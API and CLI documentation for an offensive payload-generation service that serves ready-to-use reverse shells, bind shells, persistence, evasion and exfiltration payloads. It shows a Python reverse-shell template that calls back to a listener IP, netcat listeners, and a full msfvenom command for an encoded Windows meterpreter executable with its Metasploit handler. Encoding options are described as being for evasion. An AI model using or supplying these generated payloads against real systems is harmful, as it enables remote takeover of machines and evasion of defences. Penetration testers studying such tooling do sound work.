ThreatVault API
Programmatic access to 3,700+ penetration testing payloads. Generate reverse shells, bind shells, web shells, persistence mechanisms, privilege escalation, lateral movement, Active Directory attacks, container escapes, evasion, exfiltration, C2 frameworks, and more -from any script, CLI tool, or extension.
Response Format
Every endpoint returns a consistent JSON envelope. Check the ok field to determine success or failure.
Success
{
"ok": true,
"data": { ... },
"meta": { "total": 3749 }
}
Error
{
"ok": false,
"error": {
"code": "NOT_FOUND",
"message": "Payload not found: nonexistent-id"
}
}
List all payload categories with human-readable labels, descriptions, and payload counts.
Parameters
No parameters required.
Example Request
curl https://threatvau.lt/api/categories
Response
{
"ok": true,
"data": [
{
"id": "reverse-shells",
"label": "Reverse Shells",
"description": "Connect-back shells for Linux, macOS, and Windows",
"count": 330
},
{
"id": "bind-shells",
"label": "Bind Shells",
"description": "Listener shells that bind to a port on the target",
"count": 158
}
],
"meta": { "total": 3749 }
}
List and filter payloads across all categories. Returns compact summaries without template or listener fields. Use /api/payloads/:id for the full definition.
Query Parameters
| Parameter | Type | Default | Description |
|---|---|---|---|
| category | string | all | Filter by category slug |
| os | string | all | Filter by target OS |
| search | string | - | Case-insensitive search across name, language, and tags |
| limit | number | 50 | Results per page (1–200) |
| offset | number | 0 | Pagination offset |
Available Categories
Available OS Values
msfvenom category is excluded from this endpoint. Use /api/msfvenom instead.
Example Requests
# Linux reverse shells matching "python" curl "https://threatvau.lt/api/payloads?category=reverse-shells&os=linux&search=python&limit=5" # All Windows persistence techniques curl "https://threatvau.lt/api/payloads?category=persistence&os=windows" # Search across all categories curl "https://threatvau.lt/api/payloads?search=netcat"
Response
{
"ok": true,
"data": [
{
"id": "python-1",
"name": "Python #1",
"language": "Python",
"platform": ["linux", "macos", "windows"],
"tags": ["python", "pty"],
"category": "reverse-shells"
}
],
"meta": { "total": 37, "limit": 5, "offset": 0 }
}
Retrieve a single payload by its ID. Returns the full definition including the raw template with placeholders and the listener command.
Path Parameters
| Parameter | Type | Description |
|---|---|---|
| id REQUIRED | string | The payload ID (e.g. bash-i, python-1, bind-nc) |
{IP}, {PORT}, {SHELL}. Use /api/generate to render them with your values, or replace them in your own code.
Example Request
curl https://threatvau.lt/api/payloads/python-1
Response
{
"ok": true,
"data": {
"id": "python-1",
"name": "Python #1",
"language": "Python",
"platform": ["linux", "macos", "windows"],
"template": "python -c 'import socket,subprocess,os;s=socket.socket(...)'",
"listener": "nc -lvnp {PORT}",
"tags": ["python", "pty"],
"category": "reverse-shells"
}
}
{
"ok": false,
"error": {
"code": "NOT_FOUND",
"message": "Payload not found: nonexistent-id"
}
}
Generate a ready-to-use payload by substituting your IP, port, and shell into the template. Optionally apply encoding for evasion.
Request Body (JSON)
| Field | Type | Default | Description |
|---|---|---|---|
| id REQUIRED | string | - | Payload ID |
| ip | string | 10.10.10.10 | Listener IP address (IPv4) |
| port | string | 4444 | Listener port (1–65535) |
| shell | string | /bin/sh | Shell to spawn |
| encoding | string | none | Output encoding |
Shell Options
Encoding Options
Example Request
curl -X POST https://threatvau.lt/api/generate \ -H "Content-Type: application/json" \ -d '{"id":"python-1","ip":"10.10.14.5","port":"9001","shell":"/bin/bash"}'
Response
{
"ok": true,
"data": {
"id": "python-1",
"name": "Python #1",
"command": "python -c 'import socket,subprocess,os;...connect((\"10.10.14.5\",9001))...spawn(\"/bin/bash\")'",
"listener": "nc -lvnp 9001",
"options": {
"ip": "10.10.14.5",
"port": "9001",
"shell": "/bin/bash",
"encoding": "none"
}
}
}
curl -X POST https://threatvau.lt/api/generate \ -H "Content-Type: application/json" \ -d '{"id":"python-1","ip":"10.10.14.5","port":"9001","encoding":"base64"}'
The command field in the response will be Base64-encoded. The listener is never encoded.
Generate an MSFVenom payload creation command and its corresponding Metasploit multi/handler setup command.
Request Body (JSON)
| Field | Type | Default | Description |
|---|---|---|---|
| platform | string | windows | Target platform |
| arch | string | x64 | Architecture: x86 or x64 |
| payload | string | meterpreter/reverse_tcp | Metasploit payload name |
| format | string | exe | Output file format |
| encoder | string | none | Encoder for evasion |
| iterations | number | 1 | Encoding passes (1–50) |
| staging | string | staged | staged or stageless |
| ip | string | 10.10.10.10 | LHOST (IPv4) |
| port | string | 4444 | LPORT (1–65535) |
Payloads by Platform
| Platform | Payloads |
|---|---|
| windows | meterpreter/reverse_tcp meterpreter/reverse_https shell/reverse_tcp shell_reverse_tcp shell/bind_tcp shell_bind_tcp |
| linux | meterpreter/reverse_tcp meterpreter_reverse_tcp shell/reverse_tcp shell_reverse_tcp shell/bind_tcp shell_bind_tcp |
| osx | meterpreter/reverse_tcp shell_reverse_tcp shell_bind_tcp |
Formats by Platform
| Platform | Formats |
|---|---|
| windows | exe dll msi hta-psh vba vbs powershell psh-reflection raw |
| linux | elf raw bash python perl ruby c |
| osx | macho raw python bash |
Encoders
Example Request
curl -X POST https://threatvau.lt/api/msfvenom \ -H "Content-Type: application/json" \ -d '{ "platform": "windows", "arch": "x64", "payload": "meterpreter/reverse_tcp", "format": "exe", "encoder": "x86/shikata_ga_nai", "iterations": 3, "ip": "10.10.14.5", "port": "443" }'
Response
{
"ok": true,
"data": {
"command": "msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=443 -e x86/shikata_ga_nai -i 3 -f exe -o payload.exe",
"handler": "msfconsole -q -x \"use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.14.5; set LPORT 443; exploit\"",
"config": {
"platform": "windows",
"arch": "x64",
"payload": "meterpreter/reverse_tcp",
"format": "exe",
"encoder": "x86/shikata_ga_nai",
"iterations": 3,
"staging": "staged"
}
}
}
CLI Tool
One script, two modes. Run tv with no arguments for an interactive menu, or pass flags for scriptable one-liners. Auto-copies output to clipboard.
Requirements
Install
curl -sL https://threatvau.lt/tv-interactive.sh -o /usr/local/bin/tv && chmod +x /usr/local/bin/tv
sudo if /usr/local/bin requires elevated permissions. Or install to ~/.local/bin/ instead.
Interactive Mode
Run tv with no arguments to launch the interactive menu. Browse categories, search payloads, build MSFVenom commands - no flags to memorize.
tv
Navigate with numbers, b to go back, q to quit. Set your IP/port/shell in Settings - they persist for the session.
CLI Mode
Pass commands and flags for scripting, piping, and one-liners.
Commands
| Command | Alias | Description |
|---|---|---|
| categories | cats | List all categories with payload counts |
| search <query> | s | Search payloads across all categories |
| list <category> | ls | List payloads in a specific category |
| get <id> | g | Show full payload details with raw template |
| generate <id> | gen | Generate a ready-to-use payload |
| msfvenom | msf | Generate msfvenom command + handler |
Options
| Flag | Description | Used by |
|---|---|---|
| -i, --ip | Listener IP address | generate, msfvenom |
| -p, --port | Listener port | generate, msfvenom |
| -s, --shell | Shell path | generate |
| -e, --encoding | Output encoding | generate |
| -o, --os | Filter by OS | search, list |
| -l, --limit | Max results | search, list |
| --platform | MSFVenom target platform | msfvenom |
| --arch | Architecture (x86/x64) | msfvenom |
| --format | Output format | msfvenom |
| --encoder | Encoder name | msfvenom |
Examples
# List categories tv categories # Search for Python payloads on Linux tv search python -o linux # List reverse shells tv list reverse-shells -o linux -l 10 # View a payload's raw template tv get bash-i # Generate a payload (auto-copies to clipboard) tv generate bash-i -i 10.10.14.5 -p 9001 -s /bin/bash # Generate with Base64 encoding tv gen bash-i -i 10.10.14.5 -p 9001 -e base64 # Generate msfvenom command tv msf -i 10.10.14.5 --platform linux --format elf
pbcopy) and Linux (xclip).
Error Codes
All errors return the standard envelope with ok: false and an error object containing a machine-readable code and human-readable message.
| Status | Code | Description |
|---|---|---|
| 400 | INVALID_JSON | POST body is not valid JSON |
| 400 | MISSING_FIELD | A required field is missing |
| 400 | INVALID_CATEGORY | Unknown category slug |
| 400 | INVALID_OS | Unknown OS value |
| 400 | INVALID_IP | Malformed IPv4 address |
| 400 | INVALID_PORT | Port outside 1–65535 |
| 400 | INVALID_PLATFORM | Unknown msfvenom platform |
| 400 | INVALID_PAYLOAD | Payload not valid for chosen platform |
| 400 | INVALID_FORMAT | Format not valid for chosen platform |
| 400 | INVALID_ENCODER | Unknown encoder name |
| 400 | INVALID_STAGING | Not staged or stageless |
| 404 | NOT_FOUND | Payload ID does not exist |
| 500 | INTERNAL_ERROR | Unhandled server error |
Quick Reference
Copy-paste ready commands for common operations.
# List all categories curl https://threatvau.lt/api/categories # Search for Python reverse shells on Linux curl "https://threatvau.lt/api/payloads?category=reverse-shells&os=linux&search=python" # Get full payload details curl https://threatvau.lt/api/payloads/bash-i # Generate a payload with custom IP/port curl -X POST https://threatvau.lt/api/generate \ -H "Content-Type: application/json" \ -d '{"id":"bash-i","ip":"10.10.14.5","port":"9001"}' # Generate msfvenom command curl -X POST https://threatvau.lt/api/msfvenom \ -H "Content-Type: application/json" \ -d '{"platform":"linux","format":"elf","ip":"10.10.14.5"}'
Built by SecurMe - © 2026 Veli-Matti Posa & Richard van Es